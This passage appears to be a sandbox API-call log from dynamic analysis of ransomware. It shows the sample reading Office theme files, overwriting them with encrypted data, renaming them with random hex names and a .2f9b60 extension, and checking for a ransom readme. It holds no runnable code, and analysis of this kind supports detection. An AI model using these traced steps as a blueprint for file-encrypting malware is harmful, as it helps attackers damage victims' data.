Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x559cdcc [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x5d5bd93a [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x3572e0d1 [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0xaf7c14b [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x477918dc [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x4323325c [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x3484f6ad [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0xeb5b5c1 [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x7a0f0b60 [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x3066f9f3 [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x667022 [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x3416ed8c [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x3df4f6e9 [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x2931d7f7 [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x676f7896 [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x3b6633fc [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x1a435c86 [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x765a242a [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x5c05a09a [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x6e0c444c [0111.002] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x40b508c9 [0111.012] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.012] ReadFile (in: hFile=0x1574, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x331dfac0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x331dfac0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.020] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0111.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0111.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0111.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0111.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c10) returned 1 [0111.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.021] WriteFile (in: hFile=0x1574, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x331dfac0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x331dfac0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0111.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0111.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f070 [0111.026] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.026] WriteFile (in: hFile=0x1574, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x331dfb70, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x331dfb70*=0x10e, lpOverlapped=0x0) returned 1 [0111.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c10) returned 1 [0111.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a7c10 [0111.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0111.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7cd0) returned 1 [0111.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd971c0 [0111.029] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="e3") returned 2 [0111.029] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="05") returned 2 [0111.029] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="af") returned 2 [0111.029] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="79") returned 2 [0111.029] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="20") returned 2 [0111.029] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="c1") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="66") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="3b") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="b9") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="b3") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="36") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="f4") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="91") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="ff") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="83") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="47") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="2c") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="a0") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="8a") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="57") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="cd") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="af") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="b0") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="fb") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="30") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="2f") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="7e") returned 2 [0111.030] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="f4") returned 2 [0111.030] RtlInitAnsiString (in: DestinationString=0x331dfbe8, SourceString="e305af7920c1663bb9b336f491ff83472ca08a57cdafb0fb302f7ef4" | out: DestinationString="e305af7920c1663bb9b336f491ff83472ca08a57cdafb0fb302f7ef4") [0111.030] RtlAnsiStringToUnicodeString (in: DestinationString=0x331dfbb8, SourceString="e305af7920c1663bb9b336f491ff83472ca08a57cdafb0fb302f7ef4", AllocateDestinationString=1 | out: DestinationString="e305af7920c1663bb9b336f491ff83472ca08a57cdafb0fb302f7ef4") returned 0x0 [0111.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b86a1c0 [0111.031] wcscat (in: _Dest=0x20279a30, _Source="e305af7920c166" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\e305af7920c166") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\e305af7920c166" [0111.031] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\e305af7920c166.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\e305af7920c166.2f9b60" [0111.031] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\e305af7920c166.2f9b60", NtPathName=0x331dfb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\e305af7920c166.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776af0 [0111.031] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x331dfc30, FileInformation=0x1b776af0, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0111.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.033] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x331dfbf8, FileInformation=0x331dfc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x331dfbf8, FileInformation=0x331dfc08) returned 0x0 [0111.033] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x331dfbf8, FileInformation=0x331dfc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.035] FlushFileBuffers (hFile=0x1574) returned 1 [0111.036] CloseHandle (hObject=0x1574) returned 1 [0111.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.059] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.059] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64d10) returned 1 Thread: id = 1067 os_tid = 0x1754 [0111.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 0x20 [0111.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx", dwFileAttributes=0x20) returned 1 [0111.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0111.044] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x338bf860 | out: lpFileSize=0x338bf860*=21156) returned 1 [0111.044] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x52a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.044] ReadFile (in: hFile=0x1574, lpBuffer=0x338bf7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x338bf828, lpOverlapped=0x0 | out: lpBuffer=0x338bf7e0*, lpNumberOfBytesRead=0x338bf828*=0x4, lpOverlapped=0x0) returned 1 [0111.046] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0111.046] NtQuerySystemTime (in: CurrentTime=0x338bf720 | out: CurrentTime=0x338bf720*=132462177165238000) returned 0x0 [0111.046] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x3f96d324 [0111.046] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0xdecc9e3 [0111.046] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x354d6543 [0111.046] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x150cc330 [0111.046] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x6914a2d9 [0111.046] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x2d59cf82 [0111.046] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x797c4041 [0111.046] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x4a15ca4f [0111.046] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x10e2b781 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x65aaa4f6 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x5038fc2f [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x7652733 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x79ab4e3 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x2103dfbb [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0xa417f0 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x2d1dab67 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0xe8add01 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x56634be4 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x4fe8137b [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x47867542 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x2530805e [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x269fbc00 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x3438bfeb [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x24c6a359 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0xf6118c1 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x7ad71beb [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x275b9497 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x4faf6899 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x1a60dc69 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x6a08837c [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x26f012e8 [0111.047] RtlRandomEx (in: Seed=0x338bf710 | out: Seed=0x338bf710) returned 0x62553169 [0111.055] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.056] ReadFile (in: hFile=0x1574, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x338bf780, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x338bf780*=0x3c00, lpOverlapped=0x0) returned 1 [0111.057] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0111.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0111.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0111.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77f0) returned 1 [0111.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.058] WriteFile (in: hFile=0x1574, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x338bf780, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x338bf780*=0x3c00, lpOverlapped=0x0) returned 1 [0111.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0111.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0111.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f070 [0111.060] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.060] WriteFile (in: hFile=0x1574, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x338bf830, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x338bf830*=0x10e, lpOverlapped=0x0) returned 1 [0111.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0111.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0111.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a7670 [0111.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7cd0) returned 1 [0111.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd971c0 [0111.065] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="23") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="3e") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="0e") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="54") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="a7") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="cc") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="c0") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="0f") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="39") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="4c") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="9d") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="a4") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="c0") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="60") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="90") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="9c") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="e9") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="cc") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="6d") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="5f") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="61") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="87") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="81") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="a3") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="e8") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="cd") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="83") returned 2 [0111.066] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="37") returned 2 [0111.067] RtlInitAnsiString (in: DestinationString=0x338bf8a8, SourceString="233e0e54a7ccc00f394c9da4c060909ce9cc6d5f618781a3e8cd8337" | out: DestinationString="233e0e54a7ccc00f394c9da4c060909ce9cc6d5f618781a3e8cd8337") [0111.067] RtlAnsiStringToUnicodeString (in: DestinationString=0x338bf878, SourceString="233e0e54a7ccc00f394c9da4c060909ce9cc6d5f618781a3e8cd8337", AllocateDestinationString=1 | out: DestinationString="233e0e54a7ccc00f394c9da4c060909ce9cc6d5f618781a3e8cd8337") returned 0x0 [0111.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869f40 [0111.067] wcscat (in: _Dest=0x20279a30, _Source="233e0e54a7ccc0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\233e0e54a7ccc0") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\233e0e54a7ccc0" [0111.067] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\233e0e54a7ccc0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\233e0e54a7ccc0.2f9b60" [0111.067] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\233e0e54a7ccc0.2f9b60", NtPathName=0x338bf850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\233e0e54a7ccc0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776af0 [0111.067] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x338bf8f0, FileInformation=0x1b776af0, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0111.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.068] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x338bf8b8, FileInformation=0x338bf8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x338bf8b8, FileInformation=0x338bf8c8) returned 0x0 [0111.068] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x338bf8b8, FileInformation=0x338bf8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.070] FlushFileBuffers (hFile=0x1574) returned 1 [0111.071] CloseHandle (hObject=0x1574) returned 1 [0111.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.073] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.073] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme 